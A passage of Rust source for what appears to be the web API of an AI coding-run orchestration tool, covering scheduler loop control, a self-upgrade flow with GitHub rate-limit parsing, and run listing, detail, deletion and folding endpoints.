2791type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2792
2793#[cfg(test)]
2795fn launch_daemon(
2796 opts: daemon::Opts,
2797 stop: daemon::Stop,
2798) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2799 Box::pin(daemon::serve_until(opts, stop))
2800}
2801
2802#[derive(Debug, Default)]
2804struct LoopState {
2805 #[cfg(test)]
2807 live: Option<Live>,
2808 rev: u64,
2811 last_error: Option<String>,
2814}
2815
2816#[cfg(test)]
2818#[derive(Debug)]
2819struct Live {
2820 stop: daemon::Stop,
2822 handle: tokio::task::JoinHandle<()>,
2827 opts: daemon::Opts,
2831}
2832
2833#[cfg(test)]
2834impl Live {
2835 fn alive(&self) -> bool {
2837 !self.handle.is_finished()
2838 }
2839}
2840
2841fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2848 state.lock().unwrap_or_else(PoisonError::into_inner)
2849}
2850
2851async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2853 blocking(move || {
2854 let reading = daemon::read_status(&ui.home);
2855 #[cfg(not(test))]
2856 let view = ui.try_loop_view(reading)?;
2857 #[cfg(test)]
2858 let view = ui.loop_view(reading);
2859 Ok(Json(view))
2860 })
2861 .await
2862}
2863
2864#[derive(Debug, Deserialize)]
2870#[serde(deny_unknown_fields)]
2871struct LoopCommand {
2872 running: bool,
2873 #[serde(default)]
2883 park: bool,
2884}
2885
2886async fn loop_post(
2889 State(ui): State<Arc<Ui>>,
2890 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2891) -> ApiResult<Json<LoopView>> {
2892 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2895 #[cfg(not(test))]
2896 {
2897 if body.running {
2898 ui.start_detached_loop().await?;
2899 } else {
2900 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
2901 ui.stop_loop(foreign, body.park)?;
2902 }
2903 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
2904 }
2905 #[cfg(test)]
2906 {
2907 blocking(move || {
2908 let reading = daemon::read_status(&ui.home);
2909 let foreign = Foreign::of(reading.as_ref());
2910 if body.running {
2911 ui.start_loop(foreign)?;
2912 } else {
2913 ui.stop_loop(foreign, body.park)?;
2914 }
2915 Ok(Json(ui.loop_view(reading)))
2916 })
2917 .await
2918 }
2919}
2920
2921#[derive(Debug, Serialize)]
2923struct UpgradeView {
2924 from: String,
2926 to: Option<String>,
2928 detail: String,
2930}
2931
2932fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2935 progress.filter(|p| !p.stage.terminal())
2936}
2937
2938fn upgrade_retry_after(message: &str) -> Option<u64> {
2941 if !message.contains("GitHub") || !message.contains("rate limit") {
2942 return None;
2943 }
2944 if message.contains("retry now") {
2945 return Some(0);
2946 }
2947 let duration = message
2948 .split_once("resets in ")
2949 .or_else(|| message.split_once("retry after "))?
2950 .1
2951 .split_once(')')?
2952 .0;
2953 let mut rest = duration.trim();
2954 if rest.is_empty() {
2955 return None;
2956 }
2957 let mut total = 0u64;
2958 while !rest.is_empty() {
2959 let n = rest.find(|c: char| !c.is_ascii_digit())?;
2960 let amount: u64 = rest[..n].parse().ok()?;
2961 let scale = match rest[n..].chars().next()? {
2962 's' => 1,
2963 'm' => 60,
2964 'h' => 3600,
2965 'd' => 86400,
2966 _ => return None,
2967 };
2968 total = total.checked_add(amount.checked_mul(scale)?)?;
2969 rest = rest[n + 1..].trim_start();
2970 }
2971 Some(total)
2972}
2973
2974#[derive(Debug, Clone, Serialize)]
2975struct UpgradeRequestFailure {
2976 occurred_at: String,
2977 error: String,
2978 retry_after_secs: Option<u64>,
2979 retry_at: Option<u64>,
2981}
2982
2983impl UpgradeRequestFailure {
2984 fn new(error: String) -> Self {
2985 let retry_after_secs = upgrade_retry_after(&error);
2986 let now = std::time::SystemTime::now()
2987 .duration_since(std::time::UNIX_EPOCH)
2988 .unwrap_or_default()
2989 .as_secs();
2990 Self {
2991 occurred_at: jiff::Timestamp::now().to_string(),
2992 error,
2993 retry_after_secs,
2994 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2995 }
2996 }
2997}
2998
2999async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3012 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3013}
3014
3015async fn begin_upgrade(
3016 ui: &Arc<Ui>,
3017 trigger: updater::UpgradeTrigger,
3018 latest: Option<kaishin::LatestRelease>,
3019) -> Response {
3020 let reading = daemon::read_status(&ui.home);
3021 if let Some(other) = Foreign::of(reading.as_ref()) {
3022 return ApiError::conflict(format!(
3023 "{} is a legacy scheduler without detached restart support. \
3024 Finish or explicitly park its work in the existing UI before \
3025 this first migration; independent schedulers do not need this.",
3026 other.who()
3027 ))
3028 .into_response();
3029 }
3030
3031 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3036 return ApiError::conflict("another request is already preparing an upgrade")
3037 .into_response();
3038 };
3039 if trigger == updater::UpgradeTrigger::Auto {
3042 let cfg = match Config::discover(&ui.repo, None) {
3043 Ok((cfg, _)) => cfg,
3044 Err(e) => {
3045 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3046 }
3047 };
3048 let Some(latest) = latest else {
3049 return StatusCode::NO_CONTENT.into_response();
3050 };
3051 let busy = ui.auto_upgrade_busy();
3052 let failed = ui
3053 .auto_failed_tag
3054 .lock()
3055 .unwrap_or_else(PoisonError::into_inner)
3056 .clone();
3057 let decision = auto_upgrade_decision(
3058 &cfg.update,
3059 updater::disabled_by_env(),
3060 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3061 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3062 busy,
3063 &latest.tag_name,
3064 failed.as_deref(),
3065 );
3066 if decision != AutoUpgradeDecision::Trigger {
3067 let reason = match decision {
3068 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3069 AutoUpgradeDecision::Skip(reason) => reason,
3070 AutoUpgradeDecision::Trigger => unreachable!(),
3071 };
3072 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3073 return StatusCode::NO_CONTENT.into_response();
3074 }
3075 ui.upgrade_spawned
3079 .store(true, std::sync::atomic::Ordering::SeqCst);
3080 if ui.auto_upgrade_busy() {
3081 ui.upgrade_spawned
3082 .store(false, std::sync::atomic::Ordering::SeqCst);
3083 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3084 return StatusCode::NO_CONTENT.into_response();
3085 }
3086 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3087 return finish_upgrade_request(
3088 ui,
3089 upgrade_checked_for(
3090 ui,
3091 env!("CARGO_PKG_VERSION").into(),
3092 Ok(Some(latest)),
3093 trigger,
3094 ),
3095 );
3096 }
3097 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3098}
3099
3100fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3101 match result {
3102 Ok(out) => {
3103 *ui.upgrade_request_error
3104 .lock()
3105 .unwrap_or_else(PoisonError::into_inner) = None;
3106 out.into_response()
3107 }
3108 Err(error) if error.status != StatusCode::CONFLICT => {
3109 let failure = UpgradeRequestFailure::new(error.message);
3110 *ui.upgrade_request_error
3111 .lock()
3112 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3113 let mut response = (error.status, Json(&failure)).into_response();
3114 if let Some(value) = failure
3115 .retry_after_secs
3116 .and_then(|secs| secs.to_string().parse().ok())
3117 {
3118 response.headers_mut().insert("retry-after", value);
3119 }
3120 response
3121 }
3122 Err(error) => error.into_response(),
3123 }
3124}
3125
3126async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3127 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3128 return Err(ApiError::conflict(
3129 "an upgrade is already in progress (this process started one and it \
3130 has not finished or failed yet)",
3131 ));
3132 }
3133 let recorded = updater::read_progress(&ui.home);
3134 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3135 return Err(ApiError::conflict(format!(
3136 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3137 stays stuck, restart the deck; on start it settles a stale record.",
3138 p.stage.as_str(),
3139 p.from,
3140 p.to.as_deref().unwrap_or("?"),
3141 )));
3142 }
3143
3144 if crate::updater::disabled_by_env() {
3150 return Ok((
3151 StatusCode::OK,
3152 Json(UpgradeView {
3153 from: env!("CARGO_PKG_VERSION").to_owned(),
3154 to: None,
3155 detail: format!(
3156 "Automatic updates are disabled by {}. Nothing was parked \
3157 and nothing restarted.",
3158 crate::updater::NO_AUTOUPDATE_ENV
3159 ),
3160 }),
3161 ));
3162 }
3163
3164 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3167 let from = env!("CARGO_PKG_VERSION").to_owned();
3168 let latest = match crate::updater::Checker::new(&cfg.update) {
3169 Some(checker) => checker.newer_release().await,
3170 None => Ok(None),
3171 };
3172 upgrade_checked(ui, from, latest)
3173}
3174
3175fn upgrade_checked(
3176 ui: &Arc<Ui>,
3177 from: String,
3178 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3179) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3180 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3181}
3182
3183fn upgrade_checked_for(
3184 ui: &Arc<Ui>,
3185 from: String,
3186 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3187 trigger: updater::UpgradeTrigger,
3188) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3189 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3190 let Some(latest) = latest else {
3191 return Ok((
3192 StatusCode::OK,
3193 Json(UpgradeView {
3194 from,
3195 to: None,
3196 detail: "Already on the newest release. Nothing was parked \
3197 and nothing restarted."
3198 .to_owned(),
3199 }),
3200 ));
3201 };
3202
3203 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3204
3205 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3209 progress.trigger = trigger;
3210 updater::write_progress_logged(&ui.home, &progress);
3211
3212 let home = ui.home.clone();
3213 ui.upgrade_spawned
3214 .store(true, std::sync::atomic::Ordering::SeqCst);
3215 let spawned = Arc::clone(&ui.upgrade_spawned);
3216 let runner = ui.upgrade_runner;
3217 let failed = ui.auto_failed_tag.clone();
3218 let tag = latest.tag_name.clone();
3219 tokio::spawn(async move {
3220 if let Err(e) = runner(home.clone()).await {
3221 if trigger == updater::UpgradeTrigger::Auto {
3222 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3223 }
3224 tracing::error!("the upgrade did not complete: {e:#}");
3225 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3229 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3231 }
3232 });
3233
3234 Ok((
3235 StatusCode::ACCEPTED,
3236 Json(UpgradeView {
3237 from,
3238 to: Some(latest.tag_name),
3239 detail,
3240 }),
3241 ))
3242}
3243
3244async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3249 crate::updater::run_self_update(true, false, true).await?;
3252 updater::log_step(&home, "binary replaced - recording the replaced stage");
3253 if let Some(mut progress) = updater::read_progress(&home) {
3254 progress.advance(updater::Stage::Replaced);
3255 updater::write_progress_logged(&home, &progress);
3256 }
3257 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3258 HANDOVER.notify_one();
3259 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3260 Ok(())
3261}
3262
3263#[derive(Debug, Serialize)]
3269struct RunSummary {
3270 id: String,
3271 short: String,
3272 status: String,
3273 done: bool,
3274 instruction: String,
3275 title: String,
3276 repo: String,
3277 repo_name: String,
3278 created_at: String,
3279 updated_at: String,
3280 candidates: usize,
3281 viable: usize,
3282 judges: usize,
3283 winner: Option<char>,
3284 reviews: usize,
3285 quota_losses: usize,
3286 event: Option<String>,
3287 superseded_by: Option<String>,
3292 waiting: bool,
3299 live: crate::run::Liveness,
3303 pr: Option<crate::run::PrRecord>,
3305 unmerged_by_design: bool,
3311 #[serde(default)]
3314 display_status: String,
3315 #[serde(default)]
3318 badge_status: String,
3319 origin_label: String,
3322}
3323
3324impl RunSummary {
3325 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3326 Self {
3327 id: state.id.clone(),
3328 short: state.short().to_owned(),
3329 status: status_word(state.status),
3330 done: state.status.done(),
3331 unmerged_by_design: state.unmerged_by_design(),
3332 display_status: run_display_status(state, waiting, live),
3333 badge_status: run_display_status(state, waiting, live),
3334 instruction: state.instruction.clone(),
3335 title: title_from(&state.instruction, TITLE_MAX),
3336 repo: state.repo.display().to_string(),
3337 repo_name: state
3338 .repo
3339 .file_name()
3340 .map(|n| n.to_string_lossy().into_owned())
3341 .unwrap_or_default(),
3342 created_at: state.created_at.to_string(),
3343 updated_at: state.updated_at.to_string(),
3344 candidates: state.candidates.len(),
3345 viable: state.viable().len(),
3346 judges: state.config.graph.judges,
3347 winner: state.winner().map(|c| c.label),
3348 reviews: state.reviews.len(),
3349 quota_losses: state.quota.len(),
3350 event: state.events.last().map(|e| e.message.clone()),
3351 waiting,
3352 live,
3353 superseded_by: None,
3356 pr: state.pr.clone(),
3357 origin_label: crate::run::origin_label(state.origin.as_ref()),
3358 }
3359 }
3360}
3361
3362fn status_word(status: RunStatus) -> String {
3365 status.as_str().to_owned()
3369}
3370
3371fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3377 if waiting {
3378 return "waiting".to_owned();
3379 }
3380 if state.unmerged_by_design() {
3381 return "unmerged".to_owned();
3382 }
3383 if !state.status.done() && live == crate::run::Liveness::Dead {
3384 if state.parked {
3387 return "parked".to_owned();
3388 }
3389 return "stale".to_owned();
3390 }
3391 status_word(state.status)
3392}
3393
3394fn run_badge_status(
3402 state: &RunState,
3403 display_status: &str,
3404 live: crate::run::Liveness,
3405 superseded: bool,
3406) -> String {
3407 if state.status.done() || live == crate::run::Liveness::Live {
3408 return display_status.to_owned();
3409 }
3410 if superseded {
3411 return "superseded".to_owned();
3412 }
3413 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3417 return "stale".to_owned();
3418 }
3419 display_status.to_owned()
3420}
3421
3422#[derive(Debug, Deserialize)]
3424struct ListQuery {
3425 #[serde(default)]
3426 limit: Option<usize>,
3427 ids: Option<String>,
3429}
3430
3431impl ListQuery {
3432 fn contains(&self, id: &str) -> bool {
3433 self.ids
3434 .as_ref()
3435 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3436 }
3437}
3438
3439async fn runs_list(
3440 State(ui): State<Arc<Ui>>,
3441 Query(q): Query<ListQuery>,
3442) -> ApiResult<Json<Vec<RunSummary>>> {
3443 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3444 blocking(move || {
3445 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3446 let states = run_ids(&ui.runs)
3447 .into_iter()
3448 .filter_map(|id| read_run(&ui.runs, &id).ok())
3453 .take(limit)
3454 .filter(|run| q.contains(&run.id));
3455 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3456 let summaries = summarize(
3457 states,
3458 &open_runs,
3459 &claimed,
3460 &superseded,
3461 |p| probe.borrow_mut().status(p),
3462 |p| probe.borrow_mut().started_at(p),
3463 );
3464 Ok(Json(summaries))
3465 })
3466 .await
3467}
3468
3469fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3474 let open_runs: HashSet<String> = ui
3475 .questions
3476 .list()
3477 .into_iter()
3478 .filter(|q| q.status.open())
3479 .map(|q| q.run)
3480 .collect();
3481 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3482 .into_iter()
3483 .map(|c| c.run)
3484 .collect();
3485 (open_runs, claimed, ui.queue.superseded())
3486}
3487
3488fn summarize<I, S, D>(
3494 states: I,
3495 open_runs: &HashSet<String>,
3496 claimed: &HashSet<String>,
3497 superseded: &HashMap<String, String>,
3498 mut status_q: S,
3499 mut identity_q: D,
3500) -> Vec<RunSummary>
3501where
3502 I: IntoIterator<Item = RunState>,
3503 S: FnMut(u32) -> Option<bool>,
3504 D: FnMut(u32) -> Option<String>,
3505{
3506 states
3507 .into_iter()
3508 .map(|state| {
3509 let waiting = open_runs.contains(&state.id);
3510 let live =
3511 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3512 let mut row = RunSummary::of(&state, waiting, live);
3513 row.superseded_by = state
3514 .pr_taken_over_by
3515 .as_ref()
3516 .or_else(|| superseded.get(&state.id))
3517 .map(String::as_str)
3518 .map(crate::run::short_of)
3519 .map(str::to_owned);
3520 row.badge_status = run_badge_status(
3521 &state,
3522 &row.display_status,
3523 live,
3524 row.superseded_by.is_some(),
3525 );
3526 row
3527 })
3528 .collect()
3529}
3530
3531#[derive(Debug, Serialize)]
3538struct RunDetailView {
3539 stop_reason: Option<String>,
3540 #[serde(flatten)]
3541 state: RunState,
3542 instruction_md: Vec<md::Node>,
3543 #[serde(flatten)]
3547 prose_md: RunProseMd,
3548 live: crate::run::Liveness,
3563 unmerged_by_design: bool,
3568 #[serde(default)]
3570 waiting: bool,
3571 #[serde(default)]
3573 display_status: String,
3574 #[serde(default)]
3576 badge_status: String,
3577 done: bool,
3582 superseded_by: Option<String>,
3590 latest_attempt: Option<LatestAttempt>,
3604 task: Option<TaskRef>,
3607 origin_label: String,
3611 pass_views: Vec<PassView>,
3614}
3615
3616#[derive(Debug, Serialize)]
3618struct TaskRef {
3619 id: String,
3620 short: String,
3621 title: String,
3622 source_label: String,
3624 source_link: Option<SourceLink>,
3626 status: &'static str,
3628 attempts: usize,
3629 max_attempts: usize,
3630 is_latest: bool,
3632 latest: Option<RunBrief>,
3634 finished_by: Option<RunBrief>,
3636 closed_by_hand: bool,
3638}
3639
3640#[derive(Debug, PartialEq, Eq, Serialize)]
3642struct SourceLink {
3643 kind: &'static str,
3645 id: String,
3647 href: String,
3649}
3650
3651fn encode_segment(raw: &str) -> String {
3653 let mut out = String::with_capacity(raw.len());
3654 for b in raw.bytes() {
3655 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3656 out.push(b as char);
3657 } else {
3658 out.push_str(&format!("%{b:02X}"));
3659 }
3660 }
3661 out
3662}
3663
3664fn source_link(source: &Source) -> Option<SourceLink> {
3668 let Source::Agent { run, node } = source else {
3669 return None;
3670 };
3671 let (kind, route) = if node == crate::queue::CHAT_NODE {
3672 ("chat", "chat")
3673 } else {
3674 ("run", "runs")
3675 };
3676 Some(SourceLink {
3677 kind,
3678 id: run.clone(),
3679 href: id_links::page_href(route, run),
3680 })
3681}
3682
3683#[derive(Debug, Serialize, PartialEq)]
3685struct FollowUpParent {
3686 id: String,
3687 short: String,
3688 title: String,
3689 status: &'static str,
3691 href: String,
3692}
3693
3694#[derive(Debug, Serialize, PartialEq)]
3696struct FollowUpRun {
3697 id: String,
3698 short: String,
3699 status: Option<&'static str>,
3701 href: Option<String>,
3703}
3704
3705#[derive(Debug, Serialize, PartialEq)]
3708struct FollowUpOrigin {
3709 parent: Option<FollowUpParent>,
3711 run: FollowUpRun,
3712 pr: String,
3717 findings: Vec<String>,
3718 generation: u32,
3719}
3720
3721fn followup_origin(
3724 fu: &crate::queue::FollowUp,
3725 task: impl Fn(&str) -> Option<Task>,
3726 run: impl Fn(&str) -> Option<RunState>,
3727) -> FollowUpOrigin {
3728 let parent = fu
3729 .origin_task
3730 .as_deref()
3731 .and_then(task)
3732 .map(|t| FollowUpParent {
3733 short: t.short().to_owned(),
3734 href: format!("#/tasks/{}", encode_segment(&t.id)),
3735 status: t.status.as_str(),
3736 title: t.title,
3737 id: t.id,
3738 });
3739 let state = run(&fu.run);
3740 FollowUpOrigin {
3741 parent,
3742 run: FollowUpRun {
3743 short: run::short_of(&fu.run).to_owned(),
3744 status: state.as_ref().map(|s| s.status.as_str()),
3745 href: state
3746 .is_some()
3747 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3748 id: fu.run.clone(),
3749 },
3750 pr: fu.pr.clone(),
3751 findings: fu.findings.clone(),
3752 generation: fu.generation,
3753 }
3754}
3755
3756#[derive(Debug, Serialize)]
3758struct RunBrief {
3759 id: String,
3760 short: String,
3761 status: Option<&'static str>,
3763 outcome: String,
3765 badge: Option<String>,
3767}
3768
3769fn task_outcome(
3772 task: &Task,
3773 this_run: &str,
3774 max_attempts: usize,
3775 read: impl Fn(&str) -> Option<RunState>,
3776) -> TaskRef {
3777 let max_attempts = task.effective_attempt_limit(max_attempts);
3778 let history = task_history(task, read);
3779 let brief = |h: &TaskRunView| RunBrief {
3780 id: h.id.clone(),
3781 short: h.short.clone(),
3782 status: h.status,
3783 outcome: h.exit.edge_label(h.status),
3784 badge: h.badge.clone(),
3785 };
3786 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3787 let latest = if is_latest {
3788 None
3789 } else {
3790 history.last().map(brief)
3791 };
3792 let done = task.status == TaskStatus::Done;
3793 let finished_by = done
3794 .then(|| {
3795 history
3796 .iter()
3797 .rev()
3798 .find(|h| {
3799 matches!(
3800 h.exit,
3801 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3802 )
3803 })
3804 .map(brief)
3805 })
3806 .flatten();
3807 TaskRef {
3808 short: task.short().to_owned(),
3809 title: task.title.clone(),
3810 id: task.id.clone(),
3811 source_label: task.source.label(),
3812 source_link: source_link(&task.source),
3813 status: task.status.as_str(),
3814 attempts: task.attempts,
3815 max_attempts,
3816 is_latest,
3817 latest,
3818 closed_by_hand: done && finished_by.is_none(),
3819 finished_by,
3820 }
3821}
3822
3823#[derive(Debug, Serialize)]
3825struct LatestAttempt {
3826 id: String,
3827 short: String,
3828 resolved: bool,
3839 status: RunStatus,
3842 done: bool,
3844}
3845
3846#[derive(Debug, Default, Serialize)]
3848struct RunProseMd {
3849 advice_md: Option<AdviceMd>,
3851 candidate_summaries_md: Vec<Vec<md::Node>>,
3853 reviews_md: Vec<RoundMd>,
3855}
3856
3857#[derive(Debug, Default, Serialize)]
3858struct AdviceMd {
3859 synthesis: Vec<md::Node>,
3860 approaches: Vec<Vec<md::Node>>,
3862}
3863
3864#[derive(Debug, Default, Serialize)]
3865struct RoundMd {
3866 reviewers: Vec<ReviewerMd>,
3868 reconsideration: Vec<Vec<md::Node>>,
3870 fix: Option<FixMd>,
3871}
3872
3873#[derive(Debug, Default, Serialize)]
3874struct ReviewerMd {
3875 summary: Vec<md::Node>,
3876 findings: Vec<Vec<md::Node>>,
3878}
3879
3880#[derive(Debug, Default, Serialize)]
3881struct FixMd {
3882 notes: Vec<md::Node>,
3883 rejected: Vec<Vec<md::Node>>,
3885}
3886
3887fn run_prose_md(state: &RunState) -> RunProseMd {
3889 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3890 RunProseMd {
3891 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3892 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3893 approaches: a
3894 .records
3895 .iter()
3896 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3897 .collect(),
3898 }),
3899 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3900 reviews_md: state
3901 .reviews
3902 .iter()
3903 .map(|round| RoundMd {
3904 reviewers: round
3905 .reviews
3906 .iter()
3907 .map(|rec| ReviewerMd {
3908 summary: nodes(&rec.summary),
3909 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3910 })
3911 .collect(),
3912 reconsideration: round
3913 .reconsideration
3914 .iter()
3915 .map(|rv| nodes(&rv.reason))
3916 .collect(),
3917 fix: round.fix.as_ref().map(|fix| FixMd {
3918 notes: nodes(&fix.notes),
3919 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3920 }),
3921 })
3922 .collect(),
3923 }
3924}
3925
3926impl RunDetailView {
3927 fn of(
3928 state: RunState,
3929 waiting: bool,
3930 live: crate::run::Liveness,
3931 superseded_by: Option<String>,
3932 latest_attempt: Option<LatestAttempt>,
3933 task: Option<TaskRef>,
3934 ) -> Self {
3935 let display_status = run_display_status(&state, waiting, live);
3936 let stop_reason = crate::stop_reason::of(
3937 &state,
3938 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3939 );
3940 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3941 Self {
3942 stop_reason,
3943 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3944 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3945 prose_md: run_prose_md(&state),
3946 origin_label: crate::run::origin_label(state.origin.as_ref()),
3947 live,
3948 unmerged_by_design: state.unmerged_by_design(),
3949 waiting,
3950 display_status,
3951 badge_status,
3952 done: state.status.done(),
3953 superseded_by,
3954 latest_attempt,
3955 task,
3956 state,
3957 }
3958 }
3959}
3960
3961async fn run_core(
3963 State(ui): State<Arc<Ui>>,
3964 Path(id): Path<String>,
3965) -> ApiResult<Json<RunDetailView>> {
3966 blocking(move || {
3967 let id = resolve_run(&ui.runs, &id)?;
3968 let state = read_run(&ui.runs, &id)?;
3969 Ok(Json(RunDetailView::of(
3970 state,
3971 false,
3972 crate::run::Liveness::Unknown,
3973 None,
3974 None,
3975 None,
3976 )))
3977 })
3978 .await
3979}
3980
3981async fn run_detail(
3982 State(ui): State<Arc<Ui>>,
3983 Path(id): Path<String>,
3984) -> ApiResult<Json<RunDetailView>> {
3985 blocking(move || {
3986 let id = resolve_run(&ui.runs, &id)?;
3987 let state = read_run(&ui.runs, &id)?;
3988 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3989 let live = state.liveness(daemon_claims);
3990 crate::queue::record_ids(ui.questions.root(), "json")?;
3991 let waiting = ui
3992 .questions
3993 .list()
3994 .iter()
3995 .any(|q| q.run == id && q.status.open());
3996 let max_attempts = daemon::Opts::default().max_attempts;
3997
3998 let matching_task = ui.find_task_for_run(&id)?;
3999
4000 let superseded_by = state
4001 .pr_taken_over_by
4002 .clone()
4003 .or_else(|| {
4004 matching_task
4005 .as_ref()
4006 .and_then(|t| t.successor_of(&id).cloned())
4007 })
4008 .as_deref()
4009 .map(crate::run::short_of)
4010 .map(str::to_owned);
4011
4012 let latest_attempt = matching_task
4016 .as_ref()
4017 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4018 .and_then(|head_id| {
4019 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4020 short: head.short().to_owned(),
4021 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4022 status: head.status,
4023 done: head.status.done(),
4024 id: head.id,
4025 })
4026 });
4027
4028 let task = matching_task
4029 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4030
4031 Ok(Json(RunDetailView::of(
4032 state,
4033 waiting,
4034 live,
4035 superseded_by,
4036 latest_attempt,
4037 task,
4038 )))
4039 })
4040 .await
4041}
4042
4043async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4052 let (id, unreadable) = {
4053 let ui = Arc::clone(&ui);
4054 blocking(move || {
4055 let id = resolve_run(&ui.runs, &id)?;
4056 match read_run(&ui.runs, &id) {
4057 Ok(state) => {
4058 let in_flight =
4059 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4060 state
4061 .ensure_can_delete(in_flight)
4062 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4063 let dir = ui.runs.join(&id);
4064 std::fs::remove_dir_all(&dir)
4065 .with_context(|| format!("remove run directory {}", dir.display()))?;
4066 Ok((id, false))
4067 }
4068 Err(_) => {
4069 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4073 return Err(ApiError::conflict(format!(
4074 "run {id} is being worked on by a live daemon right now"
4075 )));
4076 }
4077 Ok((id, true))
4078 }
4079 }
4080 })
4081 .await?
4082 };
4083 if unreadable {
4084 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4085 .await
4086 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4087 }
4088 let ui = Arc::clone(&ui);
4089 let done = id.clone();
4090 blocking(move || {
4091 ui.questions.abandon_for_run(
4094 &done,
4095 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4096 )?;
4097 Ok(())
4098 })
4099 .await?;
4100 Ok(StatusCode::NO_CONTENT)
4101}
4102
4103async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4127 let (id, state) = {
4128 let ui = Arc::clone(&ui);
4129 blocking(move || {
4130 let id = resolve_run(&ui.runs, &id)?;
4131 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4132 return Err(ApiError::conflict(format!(
4133 "run {id} is being worked on by a live daemon right now"
4134 )));
4135 }
4136 let state = read_run(&ui.runs, &id).ok();
4137 Ok((id, state))
4138 })
4139 .await?
4140 };
4141 let removed = match state {
4142 Some(mut state) => {
4143 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4144 .await
4145 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4146 if removed.is_empty() {
4151 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
